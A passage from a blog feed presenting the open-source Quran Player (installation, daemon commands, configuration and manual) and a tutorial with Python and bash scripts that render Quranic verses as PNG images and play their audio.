&lt;p&gt;&amp;#8226;&lt;strong&gt;Consistent Experience:&lt;/strong&gt; Whether you’re on Windows with desktop shortcuts and CLI wrappers, or on Linux with man pages and desktop entries, Quran Player delivers a uniform experience.&lt;/p&gt;

&lt;h3&gt;Audio Playback &amp;amp; Control&lt;/h3&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Verse‑by‑Verse Playback:&lt;/strong&gt; Listen to recitations that automatically advance, ensuring a natural flow.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Repeat &amp;amp; Load Functions:&lt;/strong&gt; Easily repeat a specific range of verses or load any verse using a simple command (e.g., &lt;code&gt;load 2:255&lt;/code&gt;).&lt;/p&gt;

&lt;h3&gt;Beautiful User Interface&lt;/h3&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Dark‑Themed Design:&lt;/strong&gt; Enjoy a modern GUI with a sleek dark palette and intuitive system tray integration.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Keyboard Shortcuts:&lt;/strong&gt; Quickly control playback using Space, Left, Right, and Esc keys.&lt;/p&gt;

&lt;h3&gt;Advanced Search &amp;amp; Image Rendering&lt;/h3&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Interactive Search:&lt;/strong&gt; Utilize the search tool in both command‑line and interactive modes with full right‑to‑left (RTL) support.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Customizable Image Rendering:&lt;/strong&gt; Generate images of verses using configurable options such as font, size, colors, and wrapping. Perfect for sharing or offline viewing.&lt;/p&gt;

&lt;h2&gt;Installation Made Easy&lt;/h2&gt;
&lt;h3&gt;For Windows Users&lt;/h3&gt;
&lt;p&gt;&amp;#8226;
&lt;strong&gt;Requirements:&lt;/strong&gt;

&lt;p&gt;&amp;#8226;Windows 7 or later&lt;/p&gt;
&lt;p&gt;&amp;#8226;Python (pre-installed or installed via the setup script)&lt;/p&gt;
&lt;p&gt;&amp;#8226;Administrator privileges (for some operations)&lt;/p&gt;

&lt;/p&gt;
&lt;p&gt;&amp;#8226;
&lt;strong&gt;Setup Script:&lt;/strong&gt;
&lt;p&gt;Run the provided Windows setup script (e.g., via &lt;code&gt;python setup.py&lt;/code&gt;):&lt;/p&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;

python setup.py

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;
This script will:

&lt;p&gt;&amp;#8226;Create a virtual environment under &lt;code&gt;%APPDATA%\quran-player&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226;Copy application files and assets&lt;/p&gt;
&lt;p&gt;&amp;#8226;Install required dependencies (including &lt;code&gt;pywin32&lt;/code&gt; and &lt;code&gt;winshell&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&amp;#8226;Create CLI wrappers in &lt;code&gt;%APPDATA%\quran-player\bin&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226;Create a desktop shortcut for launching the GUI&lt;/p&gt;

&lt;/p&gt;
&lt;/p&gt;
&lt;p&gt;&amp;#8226;
&lt;strong&gt;Logs:&lt;/strong&gt;
&lt;p&gt;Check &lt;code&gt;install.log&lt;/code&gt; (generated in the current directory) for details and troubleshooting.&lt;/p&gt;
&lt;/p&gt;

&lt;h3&gt;For Linux Users&lt;/h3&gt;
&lt;p&gt;&amp;#8226;
&lt;strong&gt;Requirements:&lt;/strong&gt;

&lt;p&gt;&amp;#8226;A modern Linux distribution (Ubuntu, Debian, Arch, etc.)&lt;/p&gt;
&lt;p&gt;&amp;#8226;Bash shell, Python3, and sudo privileges for certain installation steps&lt;/p&gt;

&lt;/p&gt;
&lt;p&gt;&amp;#8226;
&lt;strong&gt;Get the necessary files from github repository&lt;/strong&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;

git clone https://github.com/neoMOSAID/quran-player.git
cd quran-player

&lt;/code&gt;
&lt;/pre&gt;
      &lt;p&gt;&amp;#8226;
        &lt;strong&gt;Make Script Executable:&lt;/strong&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;

chmod +x install.sh

&lt;/code&gt;
&lt;/pre&gt;
      &lt;/p&gt;
      &lt;p&gt;&amp;#8226;
        &lt;strong&gt;Run the Installer:&lt;/strong&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;

./install.sh

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;
The script will:

&lt;p&gt;&amp;#8226;Install system dependencies (e.g., &lt;code&gt;python3-venv&lt;/code&gt;, &lt;code&gt;feh&lt;/code&gt;, &lt;code&gt;pulseaudio-utils&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&amp;#8226;Copy application files and assets to &lt;code&gt;~/.quran-player&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226;Create a virtual environment and install Python dependencies&lt;/p&gt;
&lt;p&gt;&amp;#8226;Create CLI wrappers in &lt;code&gt;/usr/local/bin&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226;Generate a desktop entry in &lt;code&gt;~/.local/share/applications&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226;Install the man page for &lt;code&gt;quran-daemon&lt;/code&gt;&lt;/p&gt;

&lt;/p&gt;
&lt;/p&gt;
&lt;p&gt;&amp;#8226;
&lt;strong&gt;Uninstallation:&lt;/strong&gt;
&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;

./install.sh --uninstall

&lt;/code&gt;
&lt;/pre&gt;
&lt;/p&gt;

&lt;h2&gt;Usage&lt;/h2&gt;
&lt;h3&gt;Daemon Commands&lt;/h3&gt;
&lt;p&gt;The daemon is controlled via CLI commands. Use the generated wrappers:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Start the Daemon:&lt;/strong&gt; &lt;code&gt;quran-daemon start&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Stop the Daemon:&lt;/strong&gt; &lt;code&gt;quran-daemon stop&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Playback Control:&lt;/strong&gt;

&lt;p&gt;&amp;#8226;&lt;code&gt;quran-daemon play&lt;/code&gt; – Resume playback&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;code&gt;quran-daemon pause&lt;/code&gt; – Pause playback&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;code&gt;quran-daemon toggle&lt;/code&gt; – Toggle between play and pause&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;code&gt;quran-daemon next&lt;/code&gt; – Advance to the next verse&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;code&gt;quran-daemon prev&lt;/code&gt; – Go back to the previous verse&lt;/p&gt;

&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Load a Specific Verse:&lt;/strong&gt; &lt;code&gt;quran-daemon load 2:255&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Repeat a Range of Verses:&lt;/strong&gt; &lt;code&gt;quran-daemon repeat 10:15&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Display Status:&lt;/strong&gt; &lt;code&gt;quran-daemon status&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Generate Configuration File:&lt;/strong&gt; &lt;code&gt;quran-daemon config&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Display Detailed Information:&lt;/strong&gt; &lt;code&gt;quran-daemon info&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Help / About:&lt;/strong&gt;

&lt;p&gt;&amp;#8226;&lt;code&gt;quran-daemon help&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;code&gt;quran-daemon about&lt;/code&gt;&lt;/p&gt;

&lt;/p&gt;


&lt;h3&gt;GUI Controller&lt;/h3&gt;
&lt;p&gt;
Launch the GUI using the desktop shortcut (Windows) or via the CLI wrapper:
&lt;code&gt;quran-gui&lt;/code&gt;.
&lt;/p&gt;
&lt;p&gt;
The GUI features:

&lt;p&gt;&amp;#8226;Dark theme with a custom Fusion palette&lt;/p&gt;
&lt;p&gt;&amp;#8226;System tray integration and context menu&lt;/p&gt;
&lt;p&gt;&amp;#8226;Keyboard shortcuts: Space (play/pause), Left (previous), Right (next), Esc (minimize)&lt;/p&gt;

&lt;/p&gt;

&lt;figure&gt;
    &lt;img src="/theme/images/articles/images/279-quran-gui.png" alt="Quran player graphical user interface" style="max-width:100%;height:auto;" &gt;
    &lt;figcaption&gt;Quran player graphical user interface&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h3&gt;Search Tool&lt;/h3&gt;
&lt;p&gt;
Run the search tool with:
&lt;code&gt;quran-search &amp;lt;surah&amp;gt; &amp;lt;start_ayah&amp;gt; [end_ayah]&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;If no arguments are provided, the tool launches an interactive dialog that will switch the keyboard layout to arabic (for linux users only) and then restore it on exit&lt;/p&gt;

&lt;h3&gt;Image Rendering&lt;/h3&gt;
&lt;p&gt;
The script &lt;code&gt;arabic_topng.py&lt;/code&gt; renders Arabic text to a PNG image with options for wrapping, padding, and color customization. This is used internally by the player for displaying verses.
&lt;/p&gt;

&lt;figure&gt;
    &lt;img src="/theme/images/articles/images/278-screenshot-2025-02-06-10-06-46.png" alt="Quran player Screenshot Ayah 255 from surah 2" style="max-width:100%;height:auto;" &gt;
    &lt;figcaption&gt;Quran player Screenshot, Ayah 255 from surah 2&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2&gt;Configuration&lt;/h2&gt;
&lt;p&gt;
The application is configured via an INI‑style file. By default, the configuration file is located at:
&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Linux/macOS:&lt;/strong&gt; &lt;code&gt;~/.config/quran-player/config.ini&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Windows:&lt;/strong&gt; &lt;code&gt;%APPDATA%\quran-player\config.ini&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;[daemon] Section&lt;/h3&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;MAX_LOG_SIZE:&lt;/strong&gt; Maximum log file size (default: 1000000 bytes).&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;LOG_LEVEL:&lt;/strong&gt; Log verbosity. Options: &lt;code&gt;CRITICAL&lt;/code&gt;, &lt;code&gt;ERROR&lt;/code&gt;, &lt;code&gt;WARNING&lt;/code&gt;, &lt;code&gt;INFO&lt;/code&gt;, &lt;code&gt;DEBUG&lt;/code&gt;, or &lt;code&gt;DISABLED&lt;/code&gt; (default: &lt;code&gt;INFO&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;FILES_DIRECTORY:&lt;/strong&gt; Directory where audio files are stored.&lt;/p&gt;

&lt;h3&gt;[image] Section&lt;/h3&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;ENABLE:&lt;/strong&gt; Enable image display (&lt;code&gt;yes&lt;/code&gt;/&lt;code&gt;no&lt;/code&gt;). Default: &lt;code&gt;yes&lt;/code&gt; on Linux, &lt;code&gt;no&lt;/code&gt; on other platforms.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;DEFAULT_RESOLUTION:&lt;/strong&gt; Image resolution (e.g., &lt;code&gt;1240x170&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;FONT_FILE:&lt;/strong&gt; Path to the Arabic font file (default: &lt;code&gt;arabic-font.ttf&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;FONT_SIZE:&lt;/strong&gt; Font size (default: &lt;code&gt;48&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;IMAGE_WIDTH:&lt;/strong&gt; Width of the image in pixels (default: &lt;code&gt;1240&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;WRAP_WIDTH:&lt;/strong&gt; Maximum characters per line (default: &lt;code&gt;170&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;VERTICAL_PADDING:&lt;/strong&gt; Padding in pixels (default: &lt;code&gt;20&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;BG_COLOR:&lt;/strong&gt; Background color (e.g., &lt;code&gt;0,0,0,0&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;TEXT_COLOR:&lt;/strong&gt; Text color (e.g., &lt;code&gt;255,255,255,255&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;HIGHLIGHT_COLOR:&lt;/strong&gt; Highlight color (e.g., &lt;code&gt;255,0,0,255&lt;/code&gt;).&lt;/p&gt;


&lt;h2&gt;Important Note on Audio Files&lt;/h2&gt;

&lt;p&gt;For full functionality, the Quran Player requires Quranic audio files named in the specific format &lt;code&gt;XXXYYY.mp3&lt;/code&gt;, where &lt;code&gt;XXX&lt;/code&gt; is the 3-digit surah number and &lt;code&gt;YYY&lt;/code&gt; is the 3-digit ayah number (e.g., &lt;code&gt;002001.mp3&lt;/code&gt; for Surah 2, Ayah 1). While basic sample files are included, it's recommended to download complete verse-by-verse audio collections from sources like &lt;a href="https://everyayah.com/recitations_ayat.html" target="_blank"&gt;EveryAyah.com&lt;/a&gt;. After downloading, place the files in the &lt;code&gt;~/.config/quran-player/sample/&lt;/code&gt; directory (or your configured &lt;code&gt;FILES_DIRECTORY&lt;/code&gt;). Ensure all files follow this naming scheme for seamless playback across all 114 surahs.&lt;/p&gt;
&lt;h2&gt;The Manual&lt;/h2&gt;
&lt;p&gt;
For a complete, detailed description of every command, configuration option, and usage example, refer to the manual below (also available as a man page on Linux and as &lt;code&gt;manual.txt&lt;/code&gt; for Windows users):
&lt;/p&gt;
&lt;pre class="language-text"&gt;
    &lt;code class="language-text"&gt;

===================================================================
                       Quran Player Daemon Manual
                            Version: v1.3.0
                           Date: Feb 2025
===================================================================

NAME
    quran-daemon - Quran Player Daemon

SYNOPSIS
    quran-daemon [COMMAND] [ARGUMENTS]...

DESCRIPTION
    The Quran Player Daemon is a background service that provides Quranic verse
    playback with synchronized visual display and Arabic text rendering. It supports
    verse-by-verse playback with auto-advance, persistent playback state across
    sessions, repeat functionality, and an optional system tray GUI controller.

COMMANDS
    start
        Start the daemon. This initializes the service, binds the control socket, and
        begins listening for client commands.

    stop
        Stop the daemon. This causes the daemon to shut down gracefully, releasing all
        resources and cleaning up socket and PID files.

    play
        Resume audio playback.

    pause
        Pause the current playback.

    toggle
        Toggle between play and pause.

    next
        Advance to the next verse.

    prev
        Return to the previous verse.

    load
        Load a specific verse. The command expects an argument in the format
        surah:ayah (for example, "2:255").

    repeat
        Repeat a range of verses. Provide the range in the format
        start:end (for example, "10:15"). Note that issuing a play or load command
        cancels repeat mode.

    status
        Display the current playback status, including the surah and ayah numbers and
        playback state.

    config
        Generate the default configuration file in the user configuration directory.

    cleanup
        Remove orphaned runtime files (e.g., stale PID or socket files).

    info
        Display detailed information about daemon status, configuration settings,
        file integrity, and system information.

    help
        Display a help message with a summary of available commands.

    about
        Display program information, including version, project links, and license details.

CONFIGURATION
    The daemon uses an INI-style configuration file. On Linux/macOS, the file is typically
    located at:
        ~/.config/quran-player/config.ini
    On Windows, it is stored in the APPDATA folder.

    The configuration file is divided into two main sections: [daemon] and [image].

    -----------------------------------------------------------------
    [daemon] Section
    -----------------------------------------------------------------
    MAX_LOG_SIZE
        Maximum size (in bytes) of the log file before rotation occurs.
        Default: 1000000.

    LOG_LEVEL
        Log verbosity level. Possible values are:
        CRITICAL, ERROR, WARNING, INFO, DEBUG, or DISABLED.
        Default: INFO.

    FILES_DIRECTORY
        The directory where the audio files are stored. If not specified, a default directory
        (e.g., within the user configuration directory) is used.

    -----------------------------------------------------------------
    [image] Section
    -----------------------------------------------------------------
    ENABLE
        Enable or disable image display. Accepts "yes" or "no". Default is "yes" on Linux
        and "no" on other platforms.

    DEFAULT_RESOLUTION
        Default resolution for the generated image in the format WIDTHxHEIGHT (e.g., "1240x170").

    FONT_FILE
        Path to the Arabic font file used for rendering. By default, the "arabic-font.ttf"
        in the script or user configuration directory is used.

    FONT_SIZE
        Font size for rendering the text. Default: 48.

    IMAGE_WIDTH
        Width of the generated image in pixels. Default: 1240.

    WRAP_WIDTH
        Maximum number of characters per line before wrapping. Default: 170.

    VERTICAL_PADDING
        Vertical padding (in pixels) added to the top and bottom of the image. Default: 20.

    BG_COLOR
        Background color as a comma-separated RGBA string (for example, "0,0,0,0").
        Default: 0,0,0,0.

    TEXT_COLOR
        Text color as a comma-separated RGBA string (for example, "255,255,255,255").
        Default: 255,255,255,255.

    HIGHLIGHT_COLOR
        Highlight color for indicating a specific line, as a comma-separated RGBA string
        (for example, "255,0,0,255").
        Default: 255,0,0,255.

FILES
    quran_player.py
        The main daemon script.
    default_config.ini
        Default configuration file shipped with the daemon.
    config.ini
        User configuration file. Typically located in ~/.config/quran-player/ (Linux/macOS)
        or in the APPDATA folder (Windows).
    daemon.sock or \\.\pipe\quran-daemon (Windows)
        The control socket used for inter-process communication.
    daemon.pid
        File storing the daemon's process ID.
    daemon.log
        Log file for daemon events.

USAGE EXAMPLES
    Start the daemon:
        quran-daemon start

    Stop the daemon:
        quran-daemon stop

    Toggle playback:
        quran-daemon toggle

    Load a specific verse:
        quran-daemon load 2:255

    Repeat a range of verses:
        quran-daemon repeat 10:15

    Display status:
        quran-daemon status

    Generate a new configuration file:
        quran-daemon config

    Display help:
        quran-daemon help

ENVIRONMENT VARIABLES
    The following environment variables can override default configuration values:
    PYTHON_IMAGE_WIDTH
        Overrides the default image width.
    PYTHON_IMAGE_WRAP_WIDTH
        Overrides the default wrap width.
    PYTHON_IMAGE_FONT_SIZE
        Overrides the default font size.
    PYTHON_IMAGE_FONT
        Overrides the default font family.
    PYTHON_IMAGE_BG_COLOR
        Overrides the default background color.
    PYTHON_IMAGE_TEXT_COLOR
        Overrides the default text color.
    PYTHON_IMAGE_HIGHLIGHT_COLOR
        Overrides the default highlight color.
    PYTHON_IMAGE_VERTICAL_PADDING
        Overrides the default vertical padding.

BUGS
    Report bugs and issues via the project's GitHub issue tracker:
        https://github.com/neoMOSAID/quran-player/issues

AUTHOR
    Developed by neoMOSAID.

COPYRIGHT
    This software is released under the GPLv3 License.

===================================================================

&lt;/code&gt;
&lt;/pre&gt;

&lt;h2&gt;Get Involved&lt;/h2&gt;
&lt;p&gt;
Whether you’re a developer or a Quran enthusiast, your feedback and contributions are welcome! Visit our &lt;a href="https://github.com/neoMOSAID/quran-player"  target="_blank"&gt;GitHub repository&lt;/a&gt; to report issues, submit pull requests, or simply star the project.
&lt;/p&gt;

&lt;h2&gt;Final Thoughts&lt;/h2&gt;
&lt;p&gt;
Quran Player brings together tradition and technology, offering a unique way to interact with the Quran through modern digital means. Explore, enjoy, and help us improve this open‑source project.
&lt;/p&gt;
&lt;p class="note"&gt;
Feel free to share this article on social media, include screenshots of the application in action, or embed installation videos to engage with your audience further!
&lt;/p&gt;



&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="Quran Player"></category><category term="Linux Quran app"></category><category term="Quran recitation software"></category><category term="Islamic software for Linux"></category><category term="Quran audio playback"></category><category term="Linux audio player"></category><category term="Quran app for macOS"></category><category term="Quran player Windows"></category><category term="Islamic tools for PC"></category><category term="best Quran software"></category><category term="Quran recitation tool"></category><category term="cross-platform Quran player"></category></entry><entry><title>Render Quranic Verses as PNG Images and Play Audio Using Command Line Tools</title><link href="https://mosaid.xyz/articles/render-quranic-verses-as-png-images-and-play-audio-using-command-line-tools-277.html" rel="alternate"></link><published>2025-01-26T11:37:00+00:00</published><updated>2025-01-26T11:37:00+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2025-01-26:/articles/render-quranic-verses-as-png-images-and-play-audio-using-command-line-tools-277.html</id><summary type="html">&lt;p&gt;Learn how to create dynamic Arabic text images with highlights and automate verse-by-verse display with audio playback. Perfect for enhancing presentations with elegant Arabic typography and seamless audio integration.&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Render Quranic Verses as PNG Images and Play Audio Using Command Line Tools&lt;/h2&gt;

&lt;p&gt;In this tutorial, we'll combine a Python script (&lt;code&gt;ara-to-png.py&lt;/code&gt;) and a shell script (&lt;code&gt;artopng&lt;/code&gt;) to create a powerful command-line tool for rendering Quranic verses as PNG images and playing their audio. We'll also integrate previously created tools for retrieving Quranic text and playing audio from the command line.&lt;/p&gt;

&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Python Environment:&lt;/strong&gt; Ensure you have a Python virtual environment set up in &lt;code&gt;~/bin/env&lt;/code&gt;.
&lt;br&gt;&amp;#8226;&lt;strong&gt;Required Dependencies:&lt;/strong&gt; Install &lt;code&gt;Pillow&lt;/code&gt; and a Quranic font (e.g., &lt;code&gt;arfonts-arabic-typesetting.ttf&lt;/code&gt;) in your system.
&lt;br&gt;&amp;#8226;&lt;strong&gt;Previous Tools:&lt;/strong&gt; Download and set up the scripts from the following articles:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Quran Search and Display Script:&lt;/strong&gt; &lt;a href="/articles/enhancing-quranic-study-with-a-command-line-quran-search-and-display-script-221/" target="_blank"&gt;Enhancing Quranic Study&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Quranic Audio Playback Script:&lt;/strong&gt; &lt;a href="/articles/play-quranic-ayat-and-surahs-from-the-command-line-276/" target="_blank"&gt;Playing Quranic Ayat&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;Step 1: Python Script (&lt;code&gt;ara-to-png.py&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;This script renders Arabic text into a PNG image using the specified font and supports optional highlighting of a specific line. Below is the script:&lt;/p&gt;

&lt;pre class="language-python"&gt;
    &lt;code class="language-python"&gt;

import sys
import textwrap
from PIL import Image, ImageDraw, ImageFont

def render_arabic_text_to_image(
    text,
    font_path,
    output_path,
    image_width=970,
    wrap_width=130,
    font_size=48,
    bg_color=&amp;quot;#F0FFF0&amp;quot;,
    text_color=&amp;quot;black&amp;quot;,
    highlight_color=&amp;quot;#FF0000&amp;quot;,
    highlight_line=None,
    vertical_padding=20
):
    &amp;quot;&amp;quot;&amp;quot;
    Renders an Arabic text string into an image using a specific font, with text wrapping, dynamic height,
    and optional highlighting of a specific original line.

    Parameters:
    - text: str, the Arabic paragraph to render.
    - font_path: str, path to the font file (.ttf) to use.
    - output_path: str, path where the output image will be saved.
    - image_width: int, width of the image.
    - font_size: int, size of the font.
    - bg_color: str, background color of the image.
    - text_color: str, color of the text.
    - highlight_color: str, the color to use for highlighting.
    - highlight_line: int, the 1-based index of the line to highlight (None for no highlight).
    - vertical_padding: int, padding above and below the text.
    &amp;quot;&amp;quot;&amp;quot;
    try:
        # Load the font
        font = ImageFont.truetype(font_path, font_size)
    except Exception as e:
        print(f&amp;quot;Error loading font: {e}&amp;quot;)
        return

    # Split the text into original lines
    original_lines = text.split(&amp;quot;\n&amp;quot;)

    # Add a bullet to the start of each original line
    lines_with_bullets = [f&amp;quot;•{line}&amp;quot; for line in original_lines]

    # Initialize lists to store wrapped lines and their original line mapping
    wrapped_lines = []
    line_mapping = []  # Track which wrapped lines belong to which original line
    highlighted_lines = []  # Store indices of wrapped lines that belong to the highlighted original line

    # Loop through original lines to wrap them
    for i, line in enumerate(lines_with_bullets):
        is_highlighted = highlight_line == (i + 1)  # Check if the current original line is to be highlighted
        wrapped = textwrap.wrap(line, width=wrap_width)  # Adjust width for wrapping

        # Store the wrapped lines and highlight them if necessary
        wrapped_lines.extend(wrapped)
        line_mapping.extend([i] * len(wrapped))  # All wrapped lines belong to the same original line
        if is_highlighted:
            highlighted_lines.extend([True] * len(wrapped))  # Mark all wrapped lines of this original line as highlighted
        else:
            highlighted_lines.extend([False] * len(wrapped))  # Non-highlighted lines

    # Calculate line height and total text height
    draw = ImageDraw.Draw(Image.new(&amp;quot;RGB&amp;quot;, (image_width, 100), bg_color))  # Temporary image to calculate text size
    _, _, _, text_height = draw.textbbox((0, 0), &amp;quot;A&amp;quot;, font=font)  # Get height of a single character
    line_height = text_height + 24  # Add spacing between lines
    total_text_height = line_height * len(wrapped_lines) + 2 * vertical_padding

    # Create the image with dynamic height
    image = Image.new(&amp;quot;RGB&amp;quot;, (image_width, total_text_height), bg_color)
    draw = ImageDraw.Draw(image)

    # Starting Y position for text
    y = vertical_padding

    # Draw each wrapped line, right-aligned, with optional highlighting
    for i, line in enumerate(wrapped_lines):
        text_bbox = draw.textbbox((0, 0), line, font=font)
        text_width = text_bbox[2] - text_bbox[0]

        # Align text to the right with padding
        x = image_width - text_width - 20  # Align to the right with 20px padding

        # Apply highlighting to the specified line
        if highlighted_lines[i]:
            draw.text((x, y), line, font=font, fill=highlight_color, direction=&amp;quot;rtl&amp;quot;)
        else:
            draw.text((x, y), line, font=font, fill=text_color, direction=&amp;quot;rtl&amp;quot;)

        y += line_height  # Move to the next line

    # Save the image
    image.save(output_path)
    print(f&amp;quot;Image saved to {output_path}&amp;quot;)



if __name__ == &amp;quot;__main__&amp;quot;:
    if len(sys.argv) &amp;lt; 4:
        print(&amp;quot;Usage: python render_arabic.py &amp;#x27;&amp;lt;text&amp;gt;&amp;#x27; &amp;lt;font_path&amp;gt; &amp;lt;output_image_path&amp;gt;&amp;quot;)
        sys.exit(1)

    arabic_text = sys.argv[1]
    font_path = sys.argv[2]
    output_image_path = sys.argv[3]
    if len(sys.argv) &amp;gt; 4:
        highlight_line=int(sys.argv[4])
    else:
        highlight_line=None

    render_arabic_text_to_image(
        text=arabic_text,
        font_path=font_path,
        output_path=output_image_path,
        highlight_line=highlight_line
    )


&lt;/code&gt;
&lt;/pre&gt;

&lt;h3&gt;Step 2: Shell Script (&lt;code&gt;artopng&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;The shell script coordinates the workflow: it retrieves the Quranic text, processes it, renders it into an image, and finally plays the corresponding audio. Here is the script:&lt;/p&gt;

&lt;pre class="language-bash"&gt;
    &lt;code class="language-bash"&gt;

#!/bin/bash

ENV_PATH=&amp;quot;$HOME/bin/env&amp;quot;
SCRIPT_PATH=&amp;quot;$HOME/bin/python/ara-to-png.py&amp;quot;
FONT_PATH=&amp;quot;$HOME/.fonts/arfonts-arabic-typesetting.ttf&amp;quot;
OUT_PNG=&amp;quot;/tmp/out-$(date &amp;#x27;+%s&amp;#x27;).png&amp;quot;
PLAYER=&amp;quot;$HOME/bin/play-ayat&amp;quot;

# Ensure the environment exists
if [ ! -d &amp;quot;$ENV_PATH&amp;quot; ]; then
    echo &amp;quot;Error: Python environment not found at $ENV_PATH&amp;quot;
    echo &amp;quot;Please create the environment and try again.&amp;quot;
    exit 1
fi

# Ensure the script exists
if [ ! -f &amp;quot;$SCRIPT_PATH&amp;quot; ]; then
    echo &amp;quot;Error: Python script not found at $SCRIPT_PATH&amp;quot;
    exit 1
fi

CHAPTER=$1
FIRST=$2
LAST=$3
LCOLOR=$4
SPEED=$5

if [[ -z $CHAPTER  ]]
then
    echo &amp;quot;usage: $0 &amp;lt;CHAPTER_number&amp;gt; &amp;lt;FIRST_ayah&amp;gt; &amp;lt;LAST_ayah&amp;gt; [line_to_highlight]&amp;quot;
    exit
fi
if [[ -z $FIRST  ]]
then
    echo &amp;quot;usage: $0 &amp;lt;CHAPTER_number&amp;gt; &amp;lt;FIRST_ayah&amp;gt; [LAST_ayah] [line_to_highlight]&amp;quot;
    exit
fi

# Source the environment
source &amp;quot;$ENV_PATH/bin/activate&amp;quot;
&amp;quot;$HOME/bin/quran-search-dir/quran-search.sh&amp;quot; $CHAPTER $FIRST $LAST &amp;gt; /dev/null
# this script gets the ayat text and saves it in /tmp/artext
# Read the text from the file
artext=$(cat /tmp/artext)

# Process each line separately
artext=$(echo &amp;quot;$artext&amp;quot; | while IFS= read -r line; do
    # Extract the part inside parentheses
    inside_parentheses=$(echo &amp;quot;$line&amp;quot; | grep -oP &amp;#x27;\(.*?\)&amp;#x27; | tr -d &amp;#x27;()&amp;#x27;)

    # Remove the part inside parentheses from the current line
    line_cleaned=$(echo &amp;quot;$line&amp;quot; | sed -r &amp;#x27;s/\(.*?\)//g&amp;#x27;)

    # Append the extracted part at the end of the line, if it exists
    if [[ -n &amp;quot;$inside_parentheses&amp;quot; ]]; then
    number=$(echo &amp;quot;$inside_parentheses&amp;quot; | tr -cd &amp;#x27;0-9&amp;#x27;)
    arabic_text=$(echo &amp;quot;$inside_parentheses&amp;quot; | grep -oP &amp;#x27;[^\d]+$&amp;#x27; | sed &amp;#x27;s/^ //&amp;#x27;)
        echo &amp;quot;$line_cleaned  [$arabic_text $number]&amp;quot;
    else
        echo &amp;quot;$line_cleaned&amp;quot;
    fi
done)

python &amp;quot;$SCRIPT_PATH&amp;quot; &amp;quot;$artext&amp;quot; &amp;quot;$FONT_PATH&amp;quot; &amp;quot;$OUT_PNG&amp;quot; $LCOLOR &amp;gt; /dev/null

killall feh 2&amp;gt;/dev/null

feh  --no-xinerama $OUT_PNG &amp;amp; disown

# Deactivate the environment
deactivate
killall mpv 2&amp;gt;/dev/null
